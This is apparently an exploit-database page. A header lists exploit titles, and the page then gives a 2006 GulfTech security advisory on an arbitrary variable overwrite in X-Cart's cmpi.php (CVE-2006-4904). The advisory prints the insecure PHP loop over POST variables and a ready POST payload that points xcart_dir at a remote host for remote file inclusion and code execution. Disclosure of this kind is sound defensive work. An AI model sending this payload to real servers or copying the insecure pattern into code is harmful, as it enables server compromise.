bfebc3fa5a
62 changes to exploits/shellcodes macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriController::getDisplayPipeCapability' Peercast < 0.1211 - Format String Trillian Pro < 2.01 - Design Error dbPowerAmp < 2.0/10.0 - Buffer Overflow PsychoStats < 2.2.4 Beta - Cross Site Scripting MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution GitStack 2.3.10 - Unauthenticated Remote Code Execution Invision Power Top Site List < 2.0 Alpha 3 - SQL Injection (PoC) Invision Power Board (IP.Board) < 2.0 Alpha 3 - SQL Injection (PoC) Aardvark Topsites < 4.1.0 - Multiple Vulnerabilities DUWare Multiple Products - Multiple Vulnerabilities AutoRank PHP < 2.0.4 - SQL Injection (PoC) ASPapp Multiple Products - Multiple Vulnerabilities osCommerce < 2.2-MS2 - Multiple Vulnerabilities PostNuke < 0.726 Phoenix - Multiple Vulnerabilities MetaDot < 5.6.5.4b5 - Multiple Vulnerabilities phpGedView < 2.65 beta 5 - Multiple Vulnerabilities phpShop < 0.6.1-b - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3 - SQL Injection phpBB < 2.0.6d - Cross Site Scripting Phorum < 5.0.3 Beta - Cross Site Scripting vBulletin < 3.0.0 RC4 - Cross Site Scripting Mambo < 4.5 - Multiple Vulnerabilities phpBB < 2.0.7a - Multiple Vulnerabilities Invision Power Top Site List < 1.1 RC 2 - SQL Injection Invision Gallery < 1.0.1 - SQL Injection PhotoPost < 4.6 - Multiple Vulnerabilities TikiWiki < 1.8.1 - Multiple Vulnerabilities phpBugTracker < 0.9.1 - Multiple Vulnerabilities OpenBB < 1.0.6 - Multiple Vulnerabilities PHPX < 3.26 - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3.1 - Design Error HelpCenter Live! < 1.2.7 - Multiple Vulnerabilities LiveWorld Multiple Products - Cross Site Scripting WHM.AutoPilot < 2.4.6.5 - Multiple Vulnerabilities PHP-Calendar < 0.10.1 - Arbitrary File Inclusion PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities ReviewPost < 2.84 - Multiple Vulnerabilities PhotoPost < 4.85 - Multiple Vulnerabilities AZBB < 1.0.07d - Multiple Vulnerabilities Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities Burning Board < 2.3.1 - SQL Injection XOOPS < 2.0.11 - Multiple Vulnerabilities PEAR XML_RPC < 1.3.0 - Remote Code Execution PHPXMLRPC < 1.1 - Remote Code Execution SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite XPCOM - Race Condition ADOdb < 4.71 - Cross Site Scripting Geeklog < 1.4.0 - Multiple Vulnerabilities PEAR LiveUser < 0.16.8 - Arbitrary File Access Mambo < 4.5.3h - Multiple Vulnerabilities phpRPC < 0.7 - Remote Code Execution Gallery 2 < 2.0.2 - Multiple Vulnerabilities PHPLib < 7.4 - SQL Injection SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite CubeCart < 3.0.12 - Multiple Vulnerabilities Claroline < 1.7.7 - Arbitrary File Inclusion X-Cart < 4.1.3 - Arbitrary Variable Overwrite Mambo < 4.5.4 - SQL Injection Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities D-Link DNS-343 ShareCenter < 1.05 - Command Injection D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes)
37 lines
No EOL
2.1 KiB
Text
37 lines
No EOL
2.1 KiB
Text
X-Cart Arbitrary Variable Overwrite
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Vendor: Qualiteam
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Product: X-Cart
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Version: <= 4.1.3
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Website: http://www.x-cart.com/
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BID: 20108
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CVE: CVE-2006-4904
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OSVDB: 28957
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SECUNIA: 22005
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Description:
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X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory.
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Arbitrary Variable Overwriting
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X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question.
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if ($HTTP_POST_VARS) {
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foreach ($HTTP_POST_VARS as $var => $value) {
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$$var = $value;
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}
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}
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As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables.
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stand_alone=0&httpsmod_active=1&orderids=1&close_frame=1&xcart_dir=http://shell
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By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases.
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Solution:
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The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible.
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Credits:
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James Bercegay of the GulfTech Security Research Team |